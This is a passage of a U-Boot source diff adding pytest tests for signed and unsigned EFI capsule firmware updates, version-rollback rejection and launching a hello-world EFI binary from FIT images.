+ verify_content(u_boot_console, '100000', 'u-boot:New')
+ verify_content(u_boot_console, '150000', 'u-boot-env:New')
+
+ def test_efi_capsule_fw5(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 5
+ Update U-Boot on SPI Flash, raw image format with fw_version and lowest_supported_version
+ but fw_version is lower than lowest_supported_version
+ No update should happen
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test103']
+ with u_boot_console.log.section('Test Case 5-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 5-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
diff --git a/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_fit.py b/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_fit.py
new file mode 100644
index 00000000000..44a58baa310
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_fit.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2021, Linaro Limited
+# Copyright (c) 2022, Arm Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>,
+# adapted to FIT images by Vincent Stehlé <vincent.stehle@arm.com>
+
+"""U-Boot UEFI: Firmware Update (Signed capsule with FIT images) Test
+This test verifies capsule-on-disk firmware update
+with signed capsule files containing FIT images
+"""
+
+import pytest
+from capsule_common import (
+ capsule_setup,
+ init_content,
+ place_capsule_file,
+ exec_manual_update,
+ check_file_removed,
+ verify_content,
+ do_reboot_dtb_specified
+)
+
+@pytest.mark.boardspec('sandbox_flattree')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_fit')
+@pytest.mark.buildconfigspec('efi_capsule_authenticate')
+@pytest.mark.buildconfigspec('dfu')
+@pytest.mark.buildconfigspec('dfu_sf')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.slow
+class TestEfiCapsuleFirmwareSignedFit():
+ """Capsule-on-disk firmware update test
+ """
+
+ def test_efi_capsule_auth1(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 1
+ Update U-Boot on SPI Flash, FIT image format
+ x150000: U-Boot binary (but dummy)
+
+ If the capsule is properly signed, the authentication
+ should pass and the firmware be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test13']
+ with u_boot_console.log.section('Test Case 1-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 1-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:New')
+
+ def test_efi_capsule_auth2(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 2
+ Update U-Boot on SPI Flash, FIT image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is signed but with an invalid key,
+ the authentication should fail and the firmware
+ not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test14']
+ with u_boot_console.log.section('Test Case 2-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 2-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted any way
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # TODO: check CapsuleStatus in CapsuleXXXX
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+
+ def test_efi_capsule_auth3(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 3
+ Update U-Boot on SPI Flash, FIT image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is not signed, the authentication
+ should fail and the firmware not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test02']
+ with u_boot_console.log.section('Test Case 3-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 3-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted any way
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # TODO: check CapsuleStatus in CapsuleXXXX
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+
+ def test_efi_capsule_auth4(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 4 - Update U-Boot on SPI Flash, raw image format with version information
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is properly signed, the authentication
+ should pass and the firmware be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test114']
+ with u_boot_console.log.section('Test Case 4-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 4-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;'
+ 'u-boot-env raw 0x150000 0x200000"',
+ 'efidebug capsule esrt'])
+
+ # ensure that SANDBOX_UBOOT_IMAGE_GUID is in the ESRT.
+ assert '3673B45D-6A7C-46F3-9E60-ADABB03F7937' in ''.join(output)
+ assert 'ESRT: fw_version=5' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=3' in ''.join(output)
+
+ verify_content(u_boot_console, '100000', 'u-boot:New')
+ verify_content(u_boot_console, '150000', 'u-boot-env:New')
+
+ def test_efi_capsule_auth5(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 5 - Update U-Boot on SPI Flash, raw image format with version information
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is signed but fw_version is lower than lowest
+ supported version, the authentication should fail and the firmware
+ not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test115']
+ with u_boot_console.log.section('Test Case 5-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 5-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
diff --git a/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_raw.py b/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_raw.py
new file mode 100644
index 00000000000..83a10e160b8
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/test_capsule_firmware_signed_raw.py
@@ -0,0 +1,192 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2021, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+
+"""U-Boot UEFI: Firmware Update (Signed capsule with raw images) Test
+This test verifies capsule-on-disk firmware update
+with signed capsule files containing raw images
+"""
+
+import pytest
+from capsule_common import (
+ capsule_setup,
+ init_content,
+ place_capsule_file,
+ exec_manual_update,
+ check_file_removed,
+ verify_content,
+ do_reboot_dtb_specified
+)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_raw')
+@pytest.mark.buildconfigspec('efi_capsule_authenticate')
+@pytest.mark.buildconfigspec('dfu')
+@pytest.mark.buildconfigspec('dfu_sf')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.slow
+class TestEfiCapsuleFirmwareSignedRaw():
+ """Firmware Update (Signed capsule with raw images) Test
+ """
+
+ def test_efi_capsule_auth1(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 1 - Update U-Boot on SPI Flash, raw image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is properly signed, the authentication
+ should pass and the firmware be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test11']
+ with u_boot_console.log.section('Test Case 1-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 1-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:New')
+
+ def test_efi_capsule_auth2(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 2 - Update U-Boot on SPI Flash, raw image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is signed but with an invalid key,
+ the authentication should fail and the firmware
+ not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test12']
+ with u_boot_console.log.section('Test Case 2-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 2-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # TODO: check CapsuleStatus in CapsuleXXXX
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+
+ def test_efi_capsule_auth3(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 3 - Update U-Boot on SPI Flash, raw image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is not signed, the authentication
+ should fail and the firmware not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test02']
+ with u_boot_console.log.section('Test Case 3-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_sig.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 3-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted anyway
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # TODO: check CapsuleStatus in CapsuleXXXX
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+
+ def test_efi_capsule_auth4(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 4 - Update U-Boot on SPI Flash, raw image format with version information
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is properly signed, the authentication
+ should pass and the firmware be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test111', 'Test112']
+ with u_boot_console.log.section('Test Case 4-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 4-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;'
+ 'u-boot-env raw 0x150000 0x200000"',
+ 'efidebug capsule esrt'])
+
+ # ensure that SANDBOX_UBOOT_IMAGE_GUID is in the ESRT.
+ assert '09D7CF52-0720-4710-91D1-08469B7FE9C8' in ''.join(output)
+ assert 'ESRT: fw_version=5' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=3' in ''.join(output)
+
+ # ensure that SANDBOX_UBOOT_ENV_IMAGE_GUID is in the ESRT.
+ assert '5A7021F5-FEF2-48B4-AABA-832E777418C0' in ''.join(output)
+ assert 'ESRT: fw_version=10' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=7' in ''.join(output)
+
+ verify_content(u_boot_console, '100000', 'u-boot:New')
+ verify_content(u_boot_console, '150000', 'u-boot-env:New')
+
+ def test_efi_capsule_auth5(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 5 - Update U-Boot on SPI Flash, raw image format with version information
+ 0x100000-0x150000: U-Boot binary (but dummy)
+
+ If the capsule is signed but fw_version is lower than lowest
+ supported version, the authentication should fail and the firmware
+ not be updated.
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test113']
+ with u_boot_console.log.section('Test Case 5-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 5-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
diff --git a/test/py/tests/test_efi_capsule/version.dts b/test/py/tests/test_efi_capsule/version.dts
new file mode 100644
index 00000000000..07850cc6064
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/version.dts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+/plugin/;
+
+&{/} {
+ firmware-version {
+ image1 {
+ lowest-supported-version = <3>;
+ image-index = <1>;
+ image-type-id = "09D7CF52-0720-4710-91D1-08469B7FE9C8";
+ };
+ image2 {
+ lowest-supported-version = <7>;
+ image-index = <2>;
+ image-type-id = "5A7021F5-FEF2-48B4-AABA-832E777418C0";
+ };
+ image3 {
+ lowest-supported-version = <3>;
+ image-index = <1>;
+ image-type-id = "3673B45D-6A7C-46F3-9E60-ADABB03F7937";
+ };
+ };
+};
diff --git a/test/py/tests/test_efi_fit.py b/test/py/tests/test_efi_fit.py
new file mode 100644
index 00000000000..0ad483500f8
--- /dev/null
+++ b/test/py/tests/test_efi_fit.py
@@ -0,0 +1,466 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2019, Cristian Ciocaltea <cristian.ciocaltea@gmail.com>
+#
+# Work based on:
+# - test_net.py
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+# - test_fit.py
+# Copyright (c) 2013, Google Inc.
+#
+# Test launching UEFI binaries from FIT images.
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which network environment is available for testing. Without this, the parts
+that rely on network will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+ ('ipaddr', '10.0.0.100'),
+ ('netmask', '255.255.255.0'),
+ ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+# Additionally, when the 'size' is not available, the file will be generated
+# automatically in the TFTP root directory, as specified by the 'dn' field.
+env__efi_fit_tftp_file = {
+ 'fn': 'test-efi-fit.img', # File path relative to TFTP root
+ 'size': 3831, # File size
+ 'crc32': '9fa3f79c', # Checksum using CRC-32 algorithm, optional
+ 'addr': 0x40400000, # Loading address, integer, optional
+ 'dn': 'tftp/root/dir', # TFTP root directory path, optional
+}
+"""
+
+import os.path
+import pytest
+import u_boot_utils as util
+
+# Define the parametrized ITS data to be used for FIT images generation.
+ITS_DATA = '''
+/dts-v1/;
+
+/ {
+ description = "EFI image with FDT blob";
+ #address-cells = <1>;
+
+ images {
+ efi {
+ description = "Test EFI";
+ data = /incbin/("%(efi-bin)s");
+ type = "%(kernel-type)s";
+ arch = "%(sys-arch)s";
+ os = "efi";
+ compression = "%(efi-comp)s";
+ load = <0x0>;
+ entry = <0x0>;
+ };
+ fdt {
+ description = "Test FDT";
+ data = /incbin/("%(fdt-bin)s");
+ type = "flat_dt";
+ arch = "%(sys-arch)s";
+ compression = "%(fdt-comp)s";
+ };
+ };
+
+ configurations {
+ default = "config-efi-fdt";
+ config-efi-fdt {
+ description = "EFI FIT w/ FDT";
+ kernel = "efi";
+ fdt = "fdt";
+ };
+ config-efi-nofdt {
+ description = "EFI FIT w/o FDT";
+ kernel = "efi";
+ };
+ };
+};
+'''
+
+# Define the parametrized FDT data to be used for DTB images generation.
+FDT_DATA = '''
+/dts-v1/;
+
+/ {
+ #address-cells = <1>;
+ #size-cells = <1>;
+
+ model = "%(sys-arch)s %(fdt_type)s EFI FIT Boot Test";
+ compatible = "%(sys-arch)s";
+
+ reset@0 {
+ compatible = "%(sys-arch)s,reset";
+ reg = <0 4>;
+ };
+};
+'''
+
+@pytest.mark.buildconfigspec('bootm_efi')
+@pytest.mark.buildconfigspec('cmd_bootefi_hello_compile')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.notbuildconfigspec('generate_acpi_table')
+@pytest.mark.requiredtool('dtc')
+def test_efi_fit_launch(u_boot_console):
+ """Test handling of UEFI binaries inside FIT images.
+
+ The tests are trying to launch U-Boot's helloworld.efi embedded into
+ FIT images, in uncompressed or gzip compressed format.
+
+ Additionally, a sample FDT blob is created and embedded into the above
+ mentioned FIT images, in uncompressed or gzip compressed format.
+
+ For more details, see launch_efi().
+
+ The following test cases are currently defined and enabled:
+ - Launch uncompressed FIT EFI & internal FDT
+ - Launch uncompressed FIT EFI & FIT FDT
+ - Launch compressed FIT EFI & internal FDT
+ - Launch compressed FIT EFI & FIT FDT
+ """
+
+ def net_pre_commands():
+ """Execute any commands required to enable network hardware.
+
+ These commands are provided by the boardenv_* file; see the comment
+ at the beginning of this file.
+ """
+
+ init_usb = cons.config.env.get('env__net_uses_usb', False)
+ if init_usb:
+ cons.run_command('usb start')
+
+ init_pci = cons.config.env.get('env__net_uses_pci', False)
+ if init_pci:
+ cons.run_command('pci enum')
+
+ def net_dhcp():
+ """Execute the dhcp command.
+
+ The boardenv_* file may be used to enable/disable DHCP; see the
+ comment at the beginning of this file.
+ """
+
+ has_dhcp = cons.config.buildconfig.get('config_cmd_dhcp', 'n') == 'y'
+ if not has_dhcp:
+ cons.log.warning('CONFIG_CMD_DHCP != y: Skipping DHCP network setup')
+ return False
+
+ test_dhcp = cons.config.env.get('env__net_dhcp_server', False)
+ if not test_dhcp:
+ cons.log.info('No DHCP server available')
+ return False
+
+ cons.run_command('setenv autoload no')
+ output = cons.run_command('dhcp')
+ assert 'DHCP client bound to address ' in output
+ return True
+
+ def net_setup_static():
+ """Set up a static IP configuration.
+
+ The configuration is provided by the boardenv_* file; see the comment at
+ the beginning of this file.
+ """
+
+ has_dhcp = cons.config.buildconfig.get('config_cmd_dhcp', 'n') == 'y'
+ if not has_dhcp:
+ cons.log.warning('CONFIG_NET != y: Skipping static network setup')
+ return False
+
+ env_vars = cons.config.env.get('env__net_static_env_vars', None)
+ if not env_vars:
+ cons.log.info('No static network configuration is defined')
+ return False
+
+ for (var, val) in env_vars:
+ cons.run_command('setenv %s %s' % (var, val))
+ return True
+
+ def make_fpath(file_name):
+ """Compute the path of a given (temporary) file.
+
+ Args:
+ file_name -- The name of a file within U-Boot build dir.
+ Return:
+ The computed file path.
+ """
+
+ return os.path.join(cons.config.build_dir, file_name)
+
+ def make_efi(fname, comp):
+ """Create an UEFI binary.
+
+ This simply copies lib/efi_loader/helloworld.efi into U-Boot
+ build dir and, optionally, compresses the file using gzip.
+
+ Args:
+ fname -- The target file name within U-Boot build dir.
+ comp -- Flag to enable gzip compression.
+ Return:
+ The path of the created file.
+ """
+
+ bin_path = make_fpath(fname)
+ util.run_and_log(cons,
+ ['cp', make_fpath('lib/efi_loader/helloworld.efi'),
+ bin_path])
+ if comp:
+ util.run_and_log(cons, ['gzip', '-f', bin_path])
+ bin_path += '.gz'
+ return bin_path
+
+ def make_dtb(fdt_type, comp):
+ """Create a sample DTB file.
+
+ Creates a DTS file and compiles it to a DTB.
+
+ Args:
+ fdt_type -- The type of the FDT, i.e. internal, user.
+ comp -- Flag to enable gzip compression.
+ Return:
+ The path of the created file.
+ """
+
+ # Generate resources referenced by FDT.
+ fdt_params = {
+ 'sys-arch': sys_arch,
+ 'fdt_type': fdt_type,
+ }
+
+ # Generate a test FDT file.
+ dts = make_fpath('test-efi-fit-%s.dts' % fdt_type)
+ with open(dts, 'w', encoding='ascii') as file:
+ file.write(FDT_DATA % fdt_params)
+
+ # Build the test FDT.
+ dtb = make_fpath('test-efi-fit-%s.dtb' % fdt_type)
+ util.run_and_log(cons, ['dtc', '-I', 'dts', '-O', 'dtb', '-o', dtb, dts])
+ if comp:
+ util.run_and_log(cons, ['gzip', '-f', dtb])
+ dtb += '.gz'
+ return dtb
+
+ def make_fit(comp):
+ """Create a sample FIT image.
+
+ Runs 'mkimage' to create a FIT image within U-Boot build dir.
+ Args:
+ comp -- Enable gzip compression for the EFI binary and FDT blob.
+ Return:
+ The path of the created file.
+ """
+
+ # Generate resources referenced by ITS.
+ its_params = {
+ 'sys-arch': sys_arch,
+ 'efi-bin': os.path.basename(make_efi('test-efi-fit-helloworld.efi', comp)),
+ 'kernel-type': 'kernel' if comp else 'kernel_noload',
+ 'efi-comp': 'gzip' if comp else 'none',
+ 'fdt-bin': os.path.basename(make_dtb('user', comp)),
+ 'fdt-comp': 'gzip' if comp else 'none',
+ }
+
+ # Generate a test ITS file.
+ its_path = make_fpath('test-efi-fit-helloworld.its')
+ with open(its_path, 'w', encoding='ascii') as file:
+ file.write(ITS_DATA % its_params)
+
+ # Build the test ITS.
+ fit_path = make_fpath('test-efi-fit-helloworld.fit')
+ util.run_and_log(
+ cons, [make_fpath('tools/mkimage'), '-f', its_path, fit_path])
+ return fit_path
+
+ def load_fit_from_host(fit):
+ """Load the FIT image using the 'host load' command and return its address.
+
+ Args:
+ fit -- Dictionary describing the FIT image to load, see
+ env__efi_fit_test_file in the comment at the beginning of
+ this file.
+ Return:
+ The address where the file has been loaded.
+ """
+
+ addr = fit.get('addr', None)
+ if not addr:
+ addr = util.find_ram_base(cons)
+
+ output = cons.run_command(
+ 'host load hostfs - %x %s/%s' % (addr, fit['dn'], fit['fn']))
+ expected_text = ' bytes read'
+ size = fit.get('size', None)
+ if size:
+ expected_text = '%d' % size + expected_text
+ assert expected_text in output
+
+ return addr
+
+ def load_fit_from_tftp(fit):
+ """Load the FIT image using the tftpboot command and return its address.
+
+ The file is downloaded from the TFTP server, its size and optionally its
+ CRC32 are validated.
+
+ Args:
+ fit -- Dictionary describing the FIT image to load, see env__efi_fit_tftp_file
+ in the comment at the beginning of this file.
+ Return:
+ The address where the file has been loaded.
+ """
+
+ addr = fit.get('addr', None)
+ if not addr:
+ addr = util.find_ram_base(cons)
+
+ file_name = fit['fn']
+ output = cons.run_command('tftpboot %x %s' % (addr, file_name))
+ expected_text = 'Bytes transferred = '
+ size = fit.get('size', None)
+ if size:
+ expected_text += '%d' % size
+ assert expected_text in output
+
+ expected_crc = fit.get('crc32', None)
+ if not expected_crc:
+ return addr
+
+ if cons.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+ return addr
+
+ output = cons.run_command('crc32 $fileaddr $filesize')
+ assert expected_crc in output
+
+ return addr
+
+ def launch_efi(enable_fdt, enable_comp):
+ """Launch U-Boot's helloworld.efi binary from a FIT image.
+
+ An external image file can be downloaded from TFTP, when related
+ details are provided by the boardenv_* file; see the comment at the
+ beginning of this file.
+
+ If the size of the TFTP file is not provided within env__efi_fit_tftp_file,
+ the test image is generated automatically and placed in the TFTP root
+ directory specified via the 'dn' field.
+
+ When running the tests on Sandbox, the image file is loaded directly
+ from the host filesystem.
+
+ Once the load address is available on U-Boot console, the 'bootm'
+ command is executed for either 'config-efi-fdt' or 'config-efi-nofdt'
+ FIT configuration, depending on the value of the 'enable_fdt' function
+ argument.
+
+ Eventually the 'Hello, world' message is expected in the U-Boot console.
+
+ Args:
+ enable_fdt -- Flag to enable using the FDT blob inside FIT image.
+ enable_comp -- Flag to enable GZIP compression on EFI and FDT
+ generated content.
+ """
+
+ with cons.log.section('FDT=%s;COMP=%s' % (enable_fdt, enable_comp)):
+ if is_sandbox:
+ fit = {
+ 'dn': cons.config.build_dir,
+ }
+ else:
+ # Init networking.
+ net_pre_commands()
+ net_set_up = net_dhcp()
+ net_set_up = net_setup_static() or net_set_up
+ if not net_set_up:
+ pytest.skip('Network not initialized')
+
+ fit = cons.config.env.get('env__efi_fit_tftp_file', None)
+ if not fit:
+ pytest.skip('No env__efi_fit_tftp_file binary specified in environment')
+
+ size = fit.get('size', None)
+ if not size:
+ if not fit.get('dn', None):
+ pytest.skip('Neither "size", nor "dn" info provided in env__efi_fit_tftp_file')
+
+ # Create test FIT image.
+ fit_path = make_fit(enable_comp)
+ fit['fn'] = os.path.basename(fit_path)
+ fit['size'] = os.path.getsize(fit_path)
+
+ # Copy image to TFTP root directory.
+ if fit['dn'] != cons.config.build_dir:
+ util.run_and_log(cons, ['mv', '-f', fit_path, '%s/' % fit['dn']])
+
+ # Load FIT image.
+ addr = load_fit_from_host(fit) if is_sandbox else load_fit_from_tftp(fit)
+
+ # Select boot configuration.
+ fit_config = 'config-efi-fdt' if enable_fdt else 'config-efi-nofdt'
+
+ # Try booting.
+ output = cons.run_command('bootm %x#%s' % (addr, fit_config))
+ if enable_fdt:
+ assert 'Booting using the fdt blob' in output
+ assert 'Hello, world' in output
+ assert '## Application failed' not in output
+ cons.restart_uboot()
+
+ cons = u_boot_console
+ # Array slice removes leading/trailing quotes.
+ sys_arch = cons.config.buildconfig.get('config_sys_arch', '"sandbox"')[1:-1]
+ if sys_arch == 'arm':
+ arm64 = cons.config.buildconfig.get('config_arm64')
+ if arm64:
+ sys_arch = 'arm64'
+
+ is_sandbox = sys_arch == 'sandbox'
+
+ if is_sandbox:
+ old_dtb = cons.config.dtb
+
+ try:
+ if is_sandbox:
+ # Use our own device tree file, will be restored afterwards.
+ control_dtb = make_dtb('internal', False)
+ cons.config.dtb = control_dtb
+
+ # Run tests
+ # - fdt OFF, gzip OFF
